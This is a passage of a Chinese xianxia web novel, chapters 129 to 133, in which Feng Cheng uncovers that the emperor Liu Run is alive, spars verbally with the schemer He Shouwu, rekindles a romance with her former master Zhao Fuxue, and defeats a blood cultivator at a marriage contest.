可一介柔弱修士又岂是封澄的对手,封澄把人一拎,便运灵气向他经脉中探去,在探到他的丹田处时,封澄陡然变了脸色。 他的灵力被禁制封住了。 上面的印迹属于八方。 镇国神兽的禁制,怎么会在一个路边的野小子身上! 顿时,封澄觉察此事绝不能善了,她当机立断地抓着人从二楼一跃而下,紧接着御血剑而起,毫不犹豫地直奔向了赵府。 她知道八方栖居在赵府禁地之中,而凡人拥有灵力之事,一定和八方脱不了关系。 赵府的禁地还是从前 模样,兴许是未曾想过有人敢闯,连禁制都如同虚设,封澄进了八方禁地,拎着人道: “出来!!” 男子茫然地四处环顾,心道:“这荒山里能有什么东西?还鬼叫鬼叫的?” 在他冒出这个想法的刹那,风停了。 不,不只是风,连空气的流动都已经停滞,甚至连山上纷纷的落叶都突兀地凝结在了半空,整片山林的时间仿佛停止了流动。 这股庞然的灵压霎时令他忍不住跪倒在地,呕地一声吐了出来。 “我等你很久,”回声在山林中回荡,紧接着从远到近,转瞬便出现在了眼前,“你终于肯来见我了。” 一只漆黑的,麒麟一样的庞大生灵。 平心而论,封澄对八方是摆不出好脸色的,毕竟当时地劫凌空,八方踩碎阵法,她看着八方威风八面的脸,呵地冷笑了一声,只把那修士往他面前一丢。 “我在他的丹田里发现了有趣的东西,”她开门见山道,“为什么要给一个凡人下禁制?为什么他会有和我一模一样的灵力?” 八方眯眼看了看他。 “……” 封澄道:“说话。” 八方道:“你若知道他是谁,就不会问我这个问题了。” 又在打哑谜,封澄哈地冷笑出来,突然就撸起了袖子上前一步:“不说是吧?不说正好,咱们算算上辈子的账——” “你死去的同年,皇帝悲痛而吐血身死,姜徵即皇太后之位,辅佐皇幼弟登基。” 它的声音庄严而沉肃,像天坛太庙中千百年前的钟声。 “而先帝刘润之尸身,以火焚化,衣冠入冢。” “除了当年的皇后姜徵,没有人见过真正死去的刘润。” 封澄霎时定在了原地。 地上的穷鬼被八方的威压骇得恨不得翻出整个胃袋来,呕吐过方才吃过的包子后,便再也吐不出什么东西,只一口一口地往外吐着酸水。 本就狰狞的形貌表情更加扭曲,看起来丑陋如蝼蚁。 封澄慢慢地转过了头。 “你是说,他是刘润。” 钟鸣鼎食、众星拱月的天子,此时沦落到皇城脚下的凡尘之中,揣着一把随时会毒死自己的利剑,茫然而羸弱地饿着肚子。 八方悲悯地看着她,封澄怔怔地蹲下了神,扣在刘润肩上的手指用力到发白。 “……刘润,你看着我。” “呼……呕!!”刘润耳中嗡鸣,偏过头去,又呕吐出了一口酸水。 “他为什么……为什么会变成这个样子?”封澄猛地转过了头,“是谁给他的毒剑?是谁运走了他的尸身,是何守悟,还是姜徵,还是……!” 漆黑的神兽摇了摇头。 “是他自己。” “他以大夏皇族世代的、生死传承的那个允诺为交换,向我提出了一个请求,恳求我将他的生机封存于不为人知的幽微之地,等大夏子夜终尽,黎明将至之时,再带他重归于世。” “凡人寿命短暂,他等不到的,于是我便送了他一段机缘……是一根朋友留给我的骨头,也是他身上所带的那把毒剑。” 他不想被人瞧见他的面貌,不想无知无觉地活着。于是毒剑使他毁容,使他痛觉清晰。 “他能看见你灵力的波动,同时以凡人之躯拥有仙缘,也是托那根朋友的骨头。” 封澄茫然地站起了身。 真是根离奇的骨头啊。 “在大夏还未诞生之际,天地灵气便化了善恶两兽,活在了人间,我得名八方,守诺而行持护国之责,渐渐便成了大夏的护国之兽。” “恶兽遁入地中,成了大夏地魔,隐入世事,千百年间,无见踪迹。” “就是这只地魔的指骨。” 第130章 第130章疑惑 封澄魂不守舍地走出了赵家禁地,拖着一个吐到了昏天黑地的刘润,还未上前两步,头顶忽然投下一片阴影。 她停住脚步,有些愕然地抬起头来。 “我闻禁地有动,料想是你回来了。”声音温和,言语分寸得体,连距离都拿捏在距离封澄三步远处,“怎么回京也不遣人来说一声。” 一抬头,正是封澄唯恐避之不及的赵负雪。 他这几十年不知有什么境遇,原本的病色与旧伤荡然无存,从前雪似的病美人,如今便如同皎皎朗月似的,简直令人拔不动腿。 封澄没心思欣赏美色了。 她略微敷衍着一点头:“师尊。”乱如麻的心绪令她有些沉默,她低着头,也没有被赵负雪正抓在禁地的慌张,也没擅闯旁家禁地的心虚。 连脸上做着伪装,赵负雪本来该认不出来这件事都忽略了。 赵负雪微微看了看她,突然地,拉住了她的肩膀。 少年赵负雪从不这样抓她,有礼而分外克制,又有些身在下位的依赖,抓的从来都是封澄的衣袖,而从前的师尊更不会了,只一句话,封澄便忙不迭地乖乖回来,连动手都不必动。 只有现在的赵负雪,掌心的温度隔着并不厚实的衣物,上前一步,毫不动摇地站在他的背后,身上的冷香气铺天盖地地包裹下来,如同死死盯着猎物的兽一般,根本无法忽视。 封澄浑身的汗毛齐齐起立,连带着整一片的肌肉也陡然僵硬了起来。 赵负雪垂眸道:“八方和你说了什么。” 封澄整理了思绪,片刻,开口道:“刘润没死这事儿,你知不知道。” 赵负雪沉默了。 看他这个反应,封澄只当他意在隐瞒,当即冷哼一声:“看来你和八方是一个鼻孔出气的了,真不愧是从小到大的情分,连把人当猴子耍都是如出一辙的。” 她知道刘润懦弱,早八百年就知道,可方才失而复得的悲痛与茫然后,心头升起的却是浓浓的愤怒。 一个皇帝,丢下自己的子民,丢下自己的朝堂,打了场败仗就假死,留一个烂摊子给活人收拾,他得懦弱到什么程度! 赵负雪微微一怔,似乎是没想到她会这样说似的,紧接着微不可察地松了一口,摇头道:“你这般想我么?” 当年事态紧急,他只知刘润死得突然,虽心有猜测,却未去证实。 只是个皇帝,死了便死了,他又岂会耗心在这种琐事上面。 “京中国丧传来时,我已身在长煌。” 这次轮到封澄愣住了。 “……从长煌回来呢。” “一直在等你回家。” 突如其来地,封澄回了神,她有些不敢迎接赵负雪的视线,偏了偏头,猝然生了想逃的冲动。 她心头从来坦荡,脸皮也厚,哪怕当街讨饭唱莲花落子都不在话下,自信是捅破了天也有比天还厚的脸皮补上,心虚这种感觉几乎划在她整个人生之外,可面对赵负雪时,她心头的慌张心虚几乎逼得她想要拔腿就跑。 她清楚地知道,赵负雪等的岂止是身后这五十年,是他从少年时起,便一直吞着她荒诞贪欲而留下的苦果。 封澄克制不住地想逃。 赵负雪忽地攥住了她的手,掌心不再似从前般彻骨冰凉,而是带着暖玉般的温意,声音涩得叫人几乎落下泪来:“……别走,也不要再瞒我了。” **** 等莫名其妙地带着刘润在赵负雪书房坐下,封澄才反应过来方才答应了什么。 她茫然地仰着头,任由赵负雪在她脸上动作,半晌,皮肤骤然一松,一张面皮从她脸上取下。 赵负雪站在她面前,低头端详了片刻,莫名唇角勾了勾。 有点呆呆的。 封澄在他面前还是有些坐立不安,所幸赵负雪善解人意,转过身去,一边将人皮面具在药水中泡着,一边温和问道:“去长煌这几日,寻到天机军旧部了否?” 封澄下意识地张口道:“寻到了,眼下重整迫在眉睫,只是没有得用 的人手,狗皇帝把人给我清得到处都是,寻起来麻烦。” 赵负雪微微勾了勾唇。 “在刘润之后即位的皇帝是刘不平,也就是当年跟在刘润屁股后的那孩子。” 封澄眨了眨眼。 “是他?”封澄道,“他不是叫刘泥么?性子不讨人喜欢,阴惨惨地惹人厌,之前还设计刘润掉入水中染了风寒,我记得还因为这事去揍了他爹。” 赵负雪笑了笑:“既已登基为帝,儿时的乳名便用不得了,清扫天机军,不光是何守悟的打算,也是这位刘不平的意思。他倒是比从前帝王更适合做皇帝些,这些年间不光养了血修一门独大,还收编了以何守悟、崔家一众为首的凡人修士,正统清流,已然不如从前。” 卧榻之畔岂容他人酣睡?封澄也明白。 赵负雪继续道:“何守悟的机关傀儡也在这几十年大行其道,他虽无灵力,却会以灵石驱使偶人活动,若灵力不尽,便可永不停歇地运作下去,偶人一多,寻常修士应对起来也麻烦,皇帝看着这些能握在手里的‘实权’,十分自得其乐。” 话毕,赵负雪轻轻笑了笑。 “处理起来都轻易,命人扼住几州矿脉便是。” 可封澄却皱着眉,看了看刘润,又喝了一口茶。 “师尊,”她道,“他大抵并不是制造偶人这么简单。” 赵负雪微笑;“哦?” 封澄低下头,心很乱地抓着头发:“机关木偶只有简单的机关指令,虽力大无穷,却着实笨拙,不足为惧,如若真想夺权,那么他们的目的,应当还得是‘修士’。” “……能握在手里的人造修士。” 赵负雪轻轻地歪了歪头,听见封澄继续道: “世人皆知,凡人登仙,绝无可能,生来没有的东西这辈子也不会有。可就在方才,这个人尽皆知的事实被打破了。” 她的目光怔怔地移向了昏迷不醒的刘润。 “比如那只地魔的一根指骨,就可以让一介凡人登仙。” 赵负雪沉默着:“……” 这道铁律一样的前提被打破了。 封澄继续道:“既然有了凡人可以凭空长出仙根这个前提,那我不得不做些别的想法了,何家代代凡人,绝无仙途,可庆儿却有了强盛的仙脉,那是不是有一种可能——她也是像刘润一样的,‘后天’的修士?” 那么追杀捕捉,也是完全可以理解的了。 “因果不可违,逆天而行者,不可能没有代价。”她豁然站起身来,脸色冷凝,“从人化魔的血池已是残忍至极,而从人成仙的代价,想必不会比血池更友善些。” 赵负雪的手轻轻地捻了捻,沉吟片刻,封澄偏了偏头,疑惑地嗯了一声,赵负雪慢慢道:“我突然想起了一些事情。” 封澄看向他。 赵负雪抬起了眼睛。 “百年前的古安,你我便亲眼见过化魔的秘法了。” 只是魔,不受控,且发展方向谁也预想不到,还很容易反噬死去,难以成为握在手中的权力。 而化天魔的“血池”,只不过是保留人的意识本身,而得到庞然力量的试探一步。 可控的“仙”,以及全然握在手中的“机关人偶”,才是这条路的尽头。 这三条路是殊途同归的,那就是让本不该拥有这份力量的人拥有逆天而行的力量。 封澄豁然站起了身:“师尊,把庆儿带来!” 这个孩子一定知道什么! 赵负雪点了点头,突然间,书房的大门被人谨慎地轻叩了两记。 “尊者,”侍从小心道,“何守悟前来拜访。” 何守悟? 赵负雪不待见何守悟是上辈子便人尽皆知的事情,封澄与赵负雪同时交换了一个视线——这种时候,他上门来做什么? 赵家正堂之中,坐着一个身穿月白长袍,面白含笑的男子。 他长得十分秀丽,如若错眼,几乎能将人认作面庞英气些的女子,一身气质文质彬彬,比起凶名赫赫的权臣,他更像是一个文弱的书生。 侍从有些胆战心惊地站在门口,何守悟抬眼看了一眼,似笑非笑地合上茶盏,不轻不重地放在了几案上。 一声清脆却不大的碰响。 侍从当即一抖。 何守悟噙着笑意,倾身问道:“你怕我么?” 侍从环顾一周,才意识到何守悟在问他,当即低下头:“不敢。” “为什么不敢?”何守悟笑了笑,“怕我看好你的根骨,将你带走修行么?未免也将人想得太宽厚了些。” 顿了顿,侍从感觉有毒蛇似的气息从脖颈上划过。 “我要带走……”他道,“也要带最好的。” 侍从当即吓得抖都不敢抖了。 最好的根骨,那不就是长在家主身上的那副剑骨么! 何守悟心情很好地回去坐着了,门一开,他慢条斯理地抬起头,方要开口说话,却陡然僵住了。 进来的是两个人。 赵负雪,还有一个长得奇形怪状的、分不清男女的人。 她穿着一身灰扑扑的斗篷,站在了月似的赵负雪身边,他留心一看,不由自主地睁大了眼。 赵负雪的手,死死地扣住了她的手。 他将几乎撑不住的表情缓缓地收拾了回去,随即一言难尽地看着赵负雪身旁的人,露出了个得体笑意,站起了身。 “这是尊夫人吧?”他风度有加地行礼,“第一次见,在下何守悟。” 封澄暗暗地甩甩赵负雪的手,没甩开,她转过脸来,皮笑肉不笑道:“误会了,他是外室。” 何守悟的表情险些没绷住:“?” 怎么,终于彻底疯了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 130-140 第131章 第131章还算数吗 并非是何守悟以貌取人,他看着封澄那张脸,实在是想不明白赵负雪怎么就舍得给这样的人当外室。 想不明白就不想,总之他混了这么多年,狗咬人的世界见过了,人咬狗的世界也理解了,比这更猎奇的事情也不在话下,何守悟秉着不得罪任何人的想法,刚刚重新端出了温文的笑容,还未开口打圆场,那人便冷不丁道:“你为什么没有变老。” 何守悟:“……” 他缓缓地收起了笑意,面无表情地看着封澄。 封澄不觉有他,直直地看着他:“今年何大人贵庚?凡人寿数短暂,眼下应该已是垂垂老矣,为何还是少年模样,未曾老去?” 修道者修行有成之时,容貌与身体便会固定在最为强健的青年期,可何守悟一介凡人,是如何做到让年岁固定在如此年轻的时候的? 何守悟皮笑肉不笑地拱了拱手,一言未发地看着她。 封澄哂笑:“看来是我问得不对了,坐。” 何守悟若有所思地看了赵负雪一眼,随即转身落座,那黑袍女子在椅子上坐了,翘着二郎腿,大马金刀的模样,不像是正经女子,倒像是从哪来逃出来的兵痞。 兵痞,何守悟似有所觉地抬起了头。 赵负雪那位自爆而死的前相好,也是个臭名昭著的兵痞——他好兵痞这一口么? 封澄皱眉道:“茶水不好,这是陈年的苦叶子了吧?闻着有股腐臭气,拿去换了。” 侍从愣着看了赵负雪一眼,赵负雪将茶盏放回在了桌上,他连忙去把三人的茶盏撤下去,换新茶。 奇怪了,赵府这些年虽低调了许多,可总不至于连好茶都上不起,侍从出了门,把茶杯放在鼻尖嗅嗅,摇着头,倍感奇怪地走了。 哪里有腐臭气呢,分明是清淡的茶香,上好的雪岭乌云呢。 而何守悟却不自觉地捏紧了手指。 自从行血修秘术之后,他虽得长生,身上却凭空多了一份挥之不去的腐臭味道,还需日日服饮修士鲜血,可他用了上百种名贵香料熏制,应该早就闻不出来了才是! 这般想着,他握了握拳头,终于开始说他此行的目的。 “尊者,”他冲赵负雪拱了拱手,“前些日子我闻外地来报,上野、中淮、三山一带的灵石矿脉,似乎全部拒绝向洛京提供了,尊者知道这是为何么?” 这三处矿脉乃是大夏最大的三条灵石矿,洛京傀儡术所用的灵石有八成出自这三条矿脉,此时仙门大比已经迫在眉睫,而傀儡机关术却被扼住了命脉,整个宗门已经慌成了一团。 他身为傀儡机关门的门主,一番细查后,自然要向始作俑者讨个公道。 赵负雪淡淡的,好似只是听到了东家狗咬西家狗的琐碎杂事一样,“何来受制一说?既是买卖,自然价高者得。” “咳咳咳——” 封澄吓得呛了一口水出来。 天地良心,她以为赵负雪会用什么法子遏制住几州矿脉,没曾想竟是干脆利落地用钱买断了! 一口气买断了三地的灵石!日子不过了? 何守悟也是没想到赵负雪竟然拿的这个想法,当即倍感荒谬,哈地拊掌一笑;“尊者可是认真的?三地矿脉,你吃得下,也难消化。” 赵负雪淡淡道;“我既敢买,自有用得上之处,赵家的银钱倒不劳何公子忧心。” 既已如此,何守悟也不虚与委蛇了:“出个价,把这批灵石分我三成,价钱随你出。” 来得突然,三地绝大多数的灵石已被赵家吞掉,仅剩散户绝无可能供得起机关门修行,七日之后便是百家大比,他难道要带着一群没有没有灵力的偶人上场么? 还有,赵家不问世事多少年了,怎么就突然出手吞了这么多灵石?何守悟只深恨自己不提防。 “三成?”赵负雪笑了笑,“何公子倒是狮子大开口,张嘴就是三成,我倒是不缺你这些银钱,反而崔家带走未归的灵器,可以取账本来对一对。” 何守悟陡然像被捏住了脖子的鸡一样哑了。 封澄悄悄拉了拉赵负雪的衣袖,小声道:“这么多年过去了,他们还敢和赵家做生意?” 据她所知,赵负雪上次借账目上门讨债,可是直接抓走了里头的血修鹰犬。 按理来说,不会再给赵负雪上门的机会了。 赵负雪轻声道:“借的时候不知道是赵家。” 封澄:“……” 你牛。 何守悟脸色阴了阴:“既如此,尊者是不想将此事善了。” 赵负雪抬了抬手,淡淡道:“自‘千金’后,天机独大,百家式微,十年一次百家大比,意在激励仙门百家激流而上,所设宝物为不世出之珍宝,今年的东西,听说更是不凡。” 何守悟的手狠狠的捏紧了掌心。 “那位地魔的骨头,能令凡人一跃而得仙根的至宝。” 何守悟沉声道:“这骨头与你们天生的修士有何相干?” 他是真的再也不想人不人鬼不鬼地活着了,何守悟愤愤地盯着赵负雪——凭什么他生下来就有的,他一辈子也得不到! 赵负雪平静道:“它不能在别人手中,谁也不行。” 一掌拍下,何守悟愤然站起:“既然如此,那我便告辞了!” 谁知一旁的封澄倒是笑了:“急什么啊何公子,我也有事要问你呢。” 何守悟微微回过了头,却见她鬼魅似的贴来。 “数十年前长煌大原屠城惨祸,”她微微一笑,“不知大人午夜梦回之时,可曾记得数万将士哀嚎的孤魂。” 刹那间,何守悟感觉到背后的汗毛一根一根地炸了起来。 “……你是谁。” 封澄道:“猜猜。” 何守悟不知想到了什么,当即惨白着脸,脱口骂了一句:“故弄玄虚!”随即头也不回地夺门而出,连看也未曾看一眼。 待他走远,赵负雪才慢慢地走到了封澄的身边。 “当年长煌之战,”赵负雪道,“伤亡士兵的亲眷家属,我已命人送去抚恤。” 封澄抬头看着赵负雪,目光怔怔,他两手微微张开:“虽说这样有些不道德了,但是……要不要来报答一下我,不要想旁人了。” 她刹那便懂了赵负雪的意思,登时有些好笑,赵负雪轻轻地靠近,然后试探地伸出了手,慢慢地贴上了封澄的后背。 封澄的背似乎僵了僵,片刻,没有推开他,也没有立即逃跑的意思。 赵负雪慢慢地将她拢入怀中。 温暖而魂牵梦萦的身体被他拥住的刹那,赵负雪心中甚至生出了终于完整的喟叹,封澄低着头,露出了一节雪白的后颈,他把头贴过去,半晌,不肯松开。 虽然能感觉到封澄仍是克制不住地想逃,但好在这次,还是乖乖地没有动了。 “长煌那边着急么,”他哑声道,“要急着回去?” 封澄在他怀中,半晌,怔怔地点了点头。 “最迟今晚,”她道,“我得回去了,那里离不得人。” 赵负雪好似有点沉默。 封澄有些心虚地补充道:“等你睡下,我再走,也没那么着急。” 不知是不是封澄的错觉,她感觉赵负雪的环抱更紧了,几乎要把她硬生生压在骨血中似的。 片刻,赵负雪温和一笑,轻声道:“好。” 就像方才陡然的窒息像是她的幻觉一样。 封澄已经不记得和赵负雪上一次平静地对坐是什么时候了,从前的决裂太过惨然,将师徒之间曾有的温情尽数砸得烟消云散,于是她重新坐回赵负雪的寝居时,几乎是坐立难安。 她留心打量,只忽然便被寝室书案上几卷枯黄纸卷吸引了视线,她感觉有些眼熟,似乎是在哪里见过似的,眯了眯眼睛,犹豫片刻,矮身溜了过去。 纸被保存得极好,甚至打开的时候,还能清晰地认出里面的每一个字,以及写下这几个字时的心意。 腾地一声,封澄感觉自己的血液全部冲到了脸上。 这东西怎么会在赵负雪这里? 鬼鬼祟祟地,封澄把纸扎好,正要原样放回去,手上却被突然擒住了。 一回头,恰是赵负雪含笑的脸。 “在看什么。” 他把方才去烹的茶水放下,封澄挣扎道:“写得乱七八糟的,谁能认出是什么?” 赵负雪挑了挑眉,慢条斯理道:“哦?那我可念了。” 封澄吓了一跳,抬手便要把纸卷抢来:“不准念!” 赵负雪松手,任由纸卷被封澄抓住,旋即勾唇笑了,手指轻轻地卷上了她的手指。 “敢写不敢认,封大人,早有这般心思,怎么还一个人憋着。” 封澄毛都炸了。 她总算是发觉了,从前的赵负雪多少还端着点死气沉沉的仙人架子,瞧着跟七情断绝六根清净似的,眼下的这个可与从前那个大不相同,不光是行动间多了些从前没有的活气,连脸皮都像是不怎么要了。 这么想着,封澄像被他的手指烫着了一样,猛地便要抽回手,谁料赵负雪像是早有预料似的,一掌紧紧地扣住了她。 “嘘……白纸黑字,都是你写的,现在还算不算数?” 清冷绝尘的仙人居高临下,紧紧地盯着她,封澄看着,倏地便出了神,紧接着,一节手指便揉上了她的唇。 面上笑意温和,眼底却是一片深不见底的幽色。 “说话,还算数吗?” 第132章 第132章比武招亲 怎么啃上去的,封澄已经记不清了。 书房似乎燃了什么宁神静气的香料,可这镇静的香气半点儿也没叫人冷静下来,封澄甚至无暇去想,在师尊的书房啃师尊的嘴到底是哪本圣贤书教出来的伦理道德。 赵负雪已经不是当年那个接吻不知道闭眼的少年了,他的吻长驱直入,炽热而贪婪,带着他身上浅淡而格格不入的冷香气,她的唇舌一片酸麻,从舌根出带出一片粘腻的酸楚,偏生赵负雪还不知餍足似的,在封澄萌生退意的刹那,反手扣住了她的头。 半晌,封澄终于从混混沌沌的大脑中拔出了一丝清明,她抬起牙齿,狠狠的咬了赵负雪一口,本望他吃痛放开,谁知他即便被咬,仍旧不肯松手,只将这个混着血腥气的吻碾在她的唇上,几度辗转,几乎将她呛得眼红。 修士的血,于血修而言,本就是不容抗拒的成瘾物。 何况是赵负雪。 最后分开时,二人皆有些气喘。 屋中寂静,封澄站在原地,盯着赵负雪看着,半晌,略略偏开了视线。 他依旧是封澄经年间只敢在心底肖想的仙人模样,墨发如瀑,眉眼含笑又缱绻,见一眼便要失神。 这双眼睛终于不再是冷淡自持的样子了,可她却不敢看了。 “……” 半晌,封澄闷闷地别过头,道:“对着这张脸,你也能亲得下去啊。” 她指的是糊在脸上的人皮面具,方才回来,面具都没除下,眼下她这副尊容狰狞无比,说是惊天地泣鬼神也不为过。 赵负雪好像才注意到似的,他认真端详了片刻 ,忍俊不禁地笑了一声,随即闲闲地摸了摸嘴唇,道:“是有些亏,再赔我一个。” 封澄:“……” 耍流氓啊你。 一去五十年,婚书已经陈旧不堪,如若是寻常眷侣,已经能从青丝到白头了。 这一吻,还有这册小心收存的婚书,将封澄连日间的自欺欺人全部撕裂开来。 沉默片刻,封澄道:“出去走走吧,我好久没来洛京了,也该你这个东道主尽一尽地主之谊。” 她没有叫他师尊。 赵负雪看着她,片刻,轻轻地应了一声,随即俯身过去,扣住了封澄的手。 十指相扣,是个不容挣脱的模样。 握得太紧,封澄的指节有些活动不得,她想了想,还是任由赵负雪去了。 总归今夜就要启程回长煌大原,这段时候,封澄也珍惜。 不御剑,能去的地方有限,封澄作了男装打扮,抬头眼见着赵负雪顶着那张脸就要往外冲,当即忙不迭地翻了一只幕篱来,轻纱遮住了赵负雪的脸,她才放心地牵住了他的手。 赵负雪便平静地看着她动作。 离开赵府,二人乘了车马,不过片刻,便来了洛京最为繁华的西市。 这里是封澄年少时惯常来玩耍的地方,走了几步,她便被一座花枝招展的酒楼吸引了目光,红绸彩幔与拥挤人群中,封澄挤进去定睛一看,只见四字“比武招亲”。 好大的热闹,封澄眼睛登时一亮,爱凑热闹的心思登时热了起来,她抬头笑道:“这都几十年过去了,洛京还有这么大的热闹看。” 堂中人声鼎沸,中台上正有两位年轻剑客对打,一旁的助威叫好声不绝于耳,而二楼高台之上,则坐着一披着喜服与盖头的年轻女子,捧着一只玲珑绣球。封澄听见路人道:“这叶家堡的娘子,花容月貌,芳名远扬,并不比得寻常那些比武招亲的悍妇,而是别一份江南美人儿,也不知谁有这艳福。” 另一人则叹道:“你说叶老堡主好端端的,怎么突然要比武招亲了,还要禁用灵力的。” “嘘,听说是惹祸上身,无奈之下,只能以万贯家财作求,找个得力的庇护,你瞧上面那赤膊男人——纯拼躯体,爹生娘养的人哪里比得过血修?所谓比武招亲呐,不过是个噱头,人家叶老堡主啊,是要找个血修!” 台上二人已打到了尾声,粗壮些的壮年男子双目血红,手持流星锤,一锤正中对面小腿,对面清俊男子哀嚎出声,举手示意,灰溜溜地滚下了台。 人群中爆发出了嘘声,男子哈哈大笑:“还有谁来!?” 众人虽不齿血修,明面上却无人敢上前招惹,一片寂静之中,封澄听见有人叹息道:“这霍老锤可不是个人,叶家姑娘跟了他,真是有苦受了。” 闻言,封澄抬眼,披着喜帕的叶小姐似乎也正向这边看来。 霍老锤大笑着向看台一旁拱手:“既然没有人上台,那叶老堡主……不,岳父大人,小婿便——” 忽然,二楼的叶小姐站了起来,随即举起手中的绣球,抬起手来一丢! 这一丢仿佛使尽了叶小姐浑身的气力,她站立不稳地踉跄,险些摔下了高台,可即便如此,这绣球也并不能丢得多远,只轻飘飘地飞下了台。 正对着封澄这一片的方向。 封澄抬手,下意识地便接了个正着。 霎时间,人群中寂静了。 叶小姐丢完绣球,仿佛是如蒙大赦一般,轻喘了两口气,才从容地坐回了椅子上。 “这……这绣球?” “什么意思?按理来说,台下若有叶小姐心仪的人,接了叶小姐的绣球,也是要上台去打的。” 可—— 众人齐齐看向身量单薄的封澄,又齐齐地看向骤然阴下脸的霍老锤,心底不约而同地齐齐捏了一把汗。 ……这实力,有些悬殊。 霍老锤似乎也是这么想的,他嗤笑一声,慢条斯理道;“岳丈大人,没曾想,这台下还有叶小姐的情郎啊?” 封澄捧着绣球:“?” 看台上的老人豁然站了起来,他亦是急得一头的汗:“岂敢岂敢,小女从来闭门不出,连闺阁都不迈的,岂会在外有情郎?叶泉!你疯了!” 这绣球,本是他预先打算,若无血修肯上台,再抛绣球下去引一位血修上来,可眼下霍老锤已然夺魁,叶泉又为何多此一举! 还抛给了个显然就干瘦无比的小子! 叶泉一声不响地坐在高台上。 霍老锤慢慢道:“哦?那这是什么意思?” 叶老堡主转而对封澄道:“这位英雄,小女年少不懂事,误抛了绣球,您既然无意,不如——” 谁知霍老锤突然地开口打断了他,森冷的目光在封澄身上梭巡:“岳丈大人,接了绣球,他打也得打,不打也得打,不然多浪费叶小姐的一片痴心。” 他重重地把锤子砸在了地上,惊起了叶老堡主一层冷汗。 “叶小姐已经够让老子不爽了,你也要叫老子不爽?” 赵负雪轻声道:“杀了,还是走?” 封澄若有所思地掂了掂手里的绣球,旋即抬起头,重新看向了叶泉。 “我挺想多管闲事,”她沉吟片刻,道:“她刚才这球,是冲我来的。” 赵负雪:“嗯?” 封澄道:“没道理见死不救,那血修看起来可不像好人。” 上头的霍老锤狞笑道:“不若这样,那小子要是不想打,就乖乖过来给我磕三个响头,老子也就饶了你一条小命,至于不守妇道的叶小姐嘛……” 他撇了撇嘴,好似很勉强道;“你叶家不是还有个小女儿,一起给老子娶了,老子也就不计较了。” 此言一出,一片哗然,看台上的叶泉豁地站了起来,怒声道:“你怎么敢!绵儿才十岁!” “你不守妇道,老子为啥要捡破鞋?十岁正好,总不会这个也不守妇道,哈哈哈!” 霍老锤哈哈大笑,封澄忍无可忍,偏了偏头,悄声道:“借你的斗笠。” 赵负雪毫不迟疑地将斗笠解下。 一跃而上,封澄稳稳地落在了台上,霎时间,霍老锤仿佛是被掐住了脖子一样止了声,片刻,他难以置信道:“你竟然敢上来?” 封澄并没有带兵器。 她压着声音,低沉而模糊不清:“你说得太麻烦,我想了想,不如你输在这儿省事。” “大言不惭!” 霍老锤大怒,抡着流星锤便向封澄正面冲来,众人眼见着粗壮的霍老锤向瘦小单薄的青年扑来,当即不忍心地闭上了眼睛,谁知一声巨响,众人一看,这满是尖刺的流星锤竟被生生地砸进了台中! 青年似笑非笑地站在一旁,连衣角都未脏一下,随即向霍老锤勾了勾手指:“再来。” 霍老锤勃然大怒:“小子找死!” 又是一记抡锤,他的身体强度极为骇人,连带着用锤子这种极重的兵器也速度骇人,谁知这片浓烟散去后,封澄依旧负手站在一旁,笑吟吟道:“继续。” 这一回,霍老锤彻底怒了,他咆哮着丢下了锤子,身体速度霎时拉到最大, 猛地向封澄扑来。 而封澄等的就是这一刹。 离开了兵器的防护,他身上的弱点暴露无遗,封澄盯准了他的心头脖颈,方要出手,却见霍老锤嘴角勾出一丝诡异的笑来。 还未等她明白这笑的意思,却见他心口脖颈骤然绽出两刀血口,紧接着,猩红的暗刺从中豁然而出! 血修的招数! 台下众人霎时大哗,当即有人大喊:“他耍阴招!” 血修凝血成神兵利器,一息尚存便有反杀之机,可贴得如此之近了,哪怕是神仙来也是躲不了的。 一声血肉刺破的闷响。 众人愕然地沉默了。 霍老锤像只破得爆絮的娃娃一样,呆呆地插在一杆血色的长枪上。 那原本锋利无比的尖刺,已经化作了软塌塌的腥臭血液,粘稠地向下流淌。 局势逆转,众人的心头却重重地向下一沉。 ——这也是个血修。 第133章 第133章内人醋大 叶泉的脸并没有因为霍老锤的惨死而产生半分波动,血枪出体的刹那,封澄抬起眼睛,余光瞥过彩带飘扬的台上。 不知是不是封澄的错觉,她的身影几乎坚定得像个殉道者了。 擂台之上,出了人命,还是血修的人命,群聚着的众人霎时察觉了不妙,不过片刻,便鸟兽状散了。叶老堡主几乎要崩溃了,他双手扶着头,哀嚎道:“英雄,你可是把老夫送上绝路了啊!” 顿了顿,他又眼睛一亮,不管不顾地抓住了封澄,仿佛抓住了救星一般:“既然你赢下了比武招亲,那么一定要娶走我的女儿!” 封澄作男儿打扮,从军多年,她身量本就不似闺阁女子,稍作妆饰站在那里,也就如同一个单薄些的青年男子般。 一阵鸡飞狗跳,这老当益壮的老头儿好像也突然之间不怕血修了似的,不光封澄的凶器如何骇人,依旧是死死地抓住了她的袖子不放,封澄尚未来得及动作,那老头的手腕上便骤然押上了一道冰冷的剑。 “放手。”他冷冷道。 来者正是赵负雪。 他的剑像一道久冻的冰似的,登时冻得叶老堡主一抖,讪讪地缩回了手去。 封澄沉吟片刻,道:“叶老堡主,今日上台乃权宜之举,并非我有意为之,娶亲一事,还是罢了。” 她的声音压得低沉,一听竟不像是青年男子,反倒是瓮声瓮气,叶老堡主犹疑片刻,缓缓开口道:“我自把叶家堡家产赠你,连同如花似玉的女儿一道,你还有何权宜之处?家私配不上?模样配不上?” 霍老锤的死带走了霍老锤的命,也带走了叶老堡主的理智,他看着她,几乎有些咄咄逼人,似乎是不敢置信,如此千金拱手送之,竟有人推脱不要。 叶泉袅袅婷婷地走下了楼。 眼瞧着这老头要疯了,封澄想了想,拱了拱手道:“已有家室,还望叶老堡主体谅。” 话音一落,赵负雪微不可察地看了她一眼。 身着红衣霞帔的女子端然地站在了老态龙钟的男子对面。 叶老堡主目光中仍含着隐隐的希望:“那……千金与你做小,可好?” 封澄;“……” 赵负雪的眼睛危险地一眯,拇指已按上了剑柄。 封澄额角一跳,没曾想天底下竟有这样的爹,登时全身上下的神经齐齐起立报警,她连忙不着痕迹地拦在了赵负雪与叶老堡主之间,强笑着道:“内人醋大,不敢造次。” 此言一出,她感觉到身旁的赵负雪微微一僵。 内人醋大。 轻飘飘的一句话,羽毛似的,砸下来却轰然作响。 他将这四个字绕在唇边,仿佛是含了千斤重的一块真心似的,吞又舍不得,吐又舍不得,只将人噎得愣怔。 要糟,好像被封澄不着痕迹地哄了一下,赵负雪想。 